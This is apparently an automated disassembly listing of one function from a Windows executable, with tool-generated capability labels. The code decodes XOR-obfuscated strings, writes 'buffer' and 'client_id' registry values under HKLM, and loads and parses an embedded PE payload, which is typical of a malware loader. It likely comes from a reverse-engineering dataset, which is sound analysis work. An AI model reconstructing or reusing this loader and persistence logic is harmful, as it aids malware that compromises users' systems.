Function at 0x1400186d0
Capabilities:
Create thread
Encode data using xor
Execute command
Parse pe header
Persist via windows service
Set console window title
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe38]
sub rsp, 0xf10
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140036040]
xor rax, rsp
mov qword [rbp + 0xd60], rax
mov rsi, rdx
mov ebx, ecx
xor edi, edi
mov dword [rbp + 0xd0], edi
movsd xmm0, qword [0x140029cb8]
movsd qword [rbp + 0x50], xmm0
mov edx, dword [0x140029cc0]
mov dword [rbp + 0x58], edx
movzx eax, word [0x140029cc4]
mov word [rbp + 0x5c], ax
mov r15d, dword [0x140036010]
movdqa xmm9, xmmword [0x140030d70]
movdqa xmm10, xmmword [0x140030d90]
movdqa xmm8, xmmword [0x140030d40]
movdqa xmm6, xmmword [0x140030e00]
movdqa xmm7, xmmword [0x140030cd0]
movdqa xmm13, xmmword [0x140030cf0]
movdqa xmm11, xmmword [0x140030ce0]
cmp byte [0x140029cc5], dil
je 0x140018943
mov r8d, edi
cmp r15d, 2
jl 0x140018906
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [0x140029cb8]
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x54]
xorps xmm1, xmm0
movd dword [rbp + 0x54], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, edx
xorps xmm1, xmm0
movd dword [rbp + 0x58], xmm1
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x50]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140018910
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp ebx, 2
jge 0x140018ccd
movsd xmm0, qword [0x140029cb8]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [0x140029cc0]
mov dword [rbp + 0x58], ecx
movzx eax, word [0x140029cc4]
mov word [rbp + 0x5c], ax
cmp byte [0x140029cc5], dil
je 0x140018b13
mov r8d, edi
cmp r15d, 2
jl 0x140018ad5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140029cb8]
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm11, xmm0
andps xmm11, xmm9
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm11, xmm1
movd dword [rbp + 0x54], xmm11
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm13, xmm0
andps xmm13, xmm9
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm1, ecx
xorps xmm13, xmm1
movd dword [rbp + 0x58], xmm13
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140018ae0
movups xmm0, xmmword [str.__RPXZ]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140029d80]
movups xmm1, xmmword [0x140029d70]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x140029db0]
movups xmm0, xmmword [0x140029da0]
movups xmm1, xmmword [0x140029d90]
mov dword [rbp - 0x60], eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
cmp r15d, 2
jl 0x140018c72
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rsp + 0x50]
mov r14d, 4
mov edx, dword [rbp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp edi, 0x50
jl 0x140018b80
cmp edi, 0x54
jge 0x140018caf
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, dil
sub al, cl
add al, 0x39
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x54
jl 0x140018c80
mov r9d, 0x30
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14001a72d
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov qword [rbp + 0x1a0], rdi
mov rdx, qword [rsi + 8]
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140018d00
lea rcx, [rbp - 0x30]
call fcn.140003400
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x30]
call fcn.140014950
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140018d63
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018d5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018d5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
movups xmm0, xmmword [str.PTRHT_S___e]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x14002a120]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x14002a128]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x14002a12c]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x14002a12e]
mov byte [rbp + 0xf6], al
mov r8d, edi
mov r14d, 4
cmp r15d, 2
jl 0x140018ec8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140018dd0
cmp r8d, 0x1f
jge 0x140018f13
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140018ee0
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
movups xmm0, xmmword [0x140030ab0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140030ac0]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140030ad0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140030ae0]
movups xmmword [rbp + 0xb0], xmm1
movzx eax, word [0x140030af0]
mov word [rbp + 0xc0], ax
mov r8d, edi
cmp r15d, 2
jl 0x140019088
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x140018f90
cmp r8d, 0x42
jge 0x1400190d3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x1400190a0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [0x1400299e0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400299f0]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140029a00]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140029a10]
movups xmmword [rbp + 0xb0], xmm1
mov eax, dword [0x140029a20]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x140029a24]
mov byte [rbp + 0xc4], al
mov r8d, edi
cmp r15d, 2
jl 0x140019249
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x140019151
cmp r8d, 0x45
jge 0x140019293
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x140019260
lea rcx, [rbp + 0x80]
call fcn.1400021c0
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x2f0
lea rcx, [rbp + 0x5d0]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.juhj]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [0x14002a1f0]
mov dword [rbp + 0x58], ecx
movzx eax, word [0x14002a1f4]
mov word [rbp + 0x5c], ax
cmp byte [0x14002a1f5], 0
je 0x140019483
mov r8d, edi
cmp r15d, 2
jl 0x14001943b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.juhj]
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x58], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140019450
lea rax, [rbp + 0x50]
mov qword [rbp + 0x5d8], rax
mov r9d, r14d
mov edx, 0x78
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x5d0], rax
test rax, rax
je 0x140021644
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x110], rdi
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x5d8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140021644
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xb
xor r8d, r8d
lea rdx, str.buffer
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140021644
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0xd0], eax
mov qword [rbp + 0x110], rdi
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x5d8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140021644
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0xb
xor r8d, r8d
lea rdx, str.client_id
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140021644
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x51], xmm0
movups xmmword [rsp + 0x61], xmm0
movups xmmword [rsp + 0x71], xmm0
movups xmmword [rbp - 0x7f], xmm0
movups xmmword [rbp - 0x6f], xmm0
movups xmmword [rbp - 0x5f], xmm0
movups xmmword [rbp - 0x4f], xmm0
mov dword [rbp - 0x3f], eax
mov word [rbp - 0x3b], ax
mov byte [rbp - 0x39], al
mov byte [rsp + 0x50], 1
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rax + 0x60], xmm0
movsd xmm1, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm1
lea rcx, [rbp + 0x50]
call fcn.1400032e0
movups xmm0, xmmword [str.K_HSQHV.b3____h___n_13_6zx_XK_HSQHV.b._3_i____1___:xyRY]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029ac8]
movups xmmword [rbp + 0x90], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400197e9
mov r8d, edi
cmp r15d, 2
jl 0x1400197b1
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x1400196c0
jmp 0x1400197e9
lea r9, [rbp + 0x80]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400197c0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rax
movdqu xmmword [rbp + 0x128], xmm0
mov rax, rdi
mov qword [rbp + 0x138], rax
mov rdx, qword [rbp + 0x198]
movabs rcx, 0x7fffffffffffffff
sub rdx, qword [rbp + 0x190]
je 0x140019893
cmp rdx, rcx
ja 0x140021823
lea rcx, [rbp + 0x128]
call fcn.140013fd0
mov rsi, qword [rbp + 0x128]
mov rbx, qword [rbp + 0x190]
mov r12, qword [rbp + 0x198]
mov r8, r12
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub r12, rbx
add r12, rsi
mov rax, qword [rbp + 0x138]
jmp 0x14001989a
mov r12, qword [rbp + 0x130]
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x130], rdi
mov rcx, qword [rbp + 0x128]
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x170], rcx
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
mov qword [rbp + 0x178], rcx
movzx eax, word [rcx + 0x14]
add rcx, 0x18
add rcx, rax
mov qword [rbp + 0x180], rcx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov qword [rbp + 0xe8], rdi
mov edx, 0x68a8
lea rcx, [rbp + 0xd8]
call fcn.140013fd0
mov rbx, qword [rbp + 0xd8]
mov r8d, 0x68a8
lea rdx, [0x14002a200]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x68a8]
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0x220]
call fcn.140015fa0
nop
lea rcx, [rbp + 8]
call fcn.140015e50
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140019983
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rax
call fcn.14002566c
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
mov edx, eax
